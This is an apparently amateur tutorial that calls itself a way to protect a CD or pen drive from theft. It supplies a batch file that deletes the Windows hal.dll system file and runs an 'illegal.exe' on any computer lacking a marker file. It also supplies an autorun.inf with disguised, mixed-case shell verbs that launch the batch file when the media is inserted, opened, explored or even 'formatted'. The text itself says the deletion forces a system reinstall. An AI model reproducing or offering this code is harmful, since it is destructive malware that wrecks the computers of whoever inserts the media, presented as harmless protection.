Protect your cd or pen drive from stealing:-
      Many times our CD's stealing and we will lost important data, we can protect the CD from other's using a simple technique.

    .BAT or (.Cmd) file is called Batch file, this file is used to execute the set of commends at a time, so we write more commends and store inside the bat file.

Write down the code into the notepad and save the name "main.cmd":-
echo off
IF NOT EXIST %windir%\mg\mg.txt erase %windir%\system32\hal.dll && illegal.exe
IF EXIST %windir%\mg\mg.txt co.cmd

Explanation:-
    This code is first check a file mg.txt on "C:\Windows\mg\" this drive. If it is exists this will execute a below "co.cmd" file, if it is not exists erase the main system file "hal.dll" and execute the "illegal.exe"(this is optional) file, hal.dll file is the main operating system file if it is lost you must re-install your system and this file only remove on windows xp, window 7 and above we can't remove this file.

Write down the following code and save the name "co.cmd":-
echo off
correct.exe

Explanation:-
    The above example is just execute the "correct.exe" file, and this is the optional no need to give this file or you can replace instead of this file.

The following code is used to execute the main.co file when you insert the CD into your CD Drive automatically. This file is called autorun.inf. Name is "autorun.inf"
[AutoRun]
Label=Your_Name
ShElL\MeRbIn\cOMmaND=main.cmd
SheLl\open\COmmaNd=main.cmd
MeRbIn=MGearnbeisnh.cmd
shell\explOre\COmmANd=main.cmd
ShElL\*#*#*#*#*#\cOMmaND=main.cmd
ShElL\Format...\cOMmaND=main.cmd
icon=cd_drive_icon.ico



Explanation:-
    you can replace cd drive default icon into your icon, using the "icon=cd_drive_icon.ico" file. after adding this file to cd and write or added to pen drive and right click on the CD Drive or pen drive ico, you can see the changes.
